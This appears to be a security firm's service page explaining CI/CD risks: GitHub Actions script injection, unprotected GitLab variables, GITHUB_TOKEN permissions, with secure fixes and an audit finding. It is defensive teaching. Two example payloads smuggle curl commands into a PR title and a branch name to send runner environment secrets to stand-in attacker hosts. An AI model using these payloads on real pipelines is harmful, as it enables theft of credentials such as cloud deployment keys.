Command Injection in GitHub Actions workflow steps

GitHub Actions workflows use context variables (like github.event.pull_request.title) to dynamically retrieve repository events. If these variables are printed inside a run shell step without sanitization, they are vulnerable to command injection:

# VULNERABLE GitHub Actions step: inline script injection
- name: Print Pull Request Title
  run: |
    echo "PR Title: ${{ github.event.pull_request.title }}" # Injection!
    # Bypassed by submitting PR named: "; curl attacker-site.com/leak?key=$(env) #

The Fix: Never use inline interpolation for untrusted inputs inside shell scripts. Pass context values as environment variables, which the operating system treats strictly as data strings:

# SECURE step pattern using environment variables
- name: Print Pull Request Title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "PR Title: $PR_TITLE" # Safe: evaluated as variable string

GitLab CI: Permissive branch variables and unprotected runners

GitLab CI stores deployment keys in environment variables. If these variables are not configured as Protected, developers on non-protected branches can run custom merge requests to print the environment secrets to build console logs. We audit your project variables to verify that all deployment credentials are set as Protected and Masked.

Least-privilege GITHUB_TOKEN permissions

GitHub Actions automatically generates a temporary token (GITHUB_TOKEN) for each job. In older repositories, this token has write access to the repository by default. If a dependency is compromised or an injection occurs, the attacker can push code directly to main. We audit workflows to verify that the token's permissions are explicitly declared as read-only:

# SECURE top-level permissions restriction in YAML
permissions:
  contents: read
  issues: none
  pull-requests: none
Example finding

Command injection in pull request automated tests

During an audit of a private repo, we identified a workflow triggered on pull_request_target. The runner checked out the PR code and printed the branch name directly inside a bash script run step. By creating a branch named "test;env > /tmp/env;curl -F file=@/tmp/env attacker.com", we extracted the runner's environment variables including the AWS deployment secret keys. Fix priority: critical. Remediated by passing context via environment variables.

Securing production deployment pipelines? Schedule a DevOps CI/CD security audit.

Book a CI/CD Security Audit

Frequently asked questions

What is a workflow command injection in GitHub Actions?

Workflow command injection occurs when a GitHub Actions YAML file evaluates untrusted user input (such as pull request titles, issue comments, or commit messages) directly inside a shell script run step, allowing attackers to execute shell commands.

How do you protect secrets in GitLab CI?

GitLab CI secrets must be stored in Masked and Protected Variables. Ensure variables are restricted to protected branches only, preventing unauthorized merge requests from accessing API keys or deployment credentials.

Why are self-hosted runner configurations risky?

If self-hosted runners are shared across public repositories, anyone who submits a pull request can run code on your private build server, pivot to internal networks, and extract runner environment tokens.

Related reading

Blog: Securing CI/CD pipelines · Fintech AWS cloud security · Secrets management

Services: Secure architecture review · Penetration testing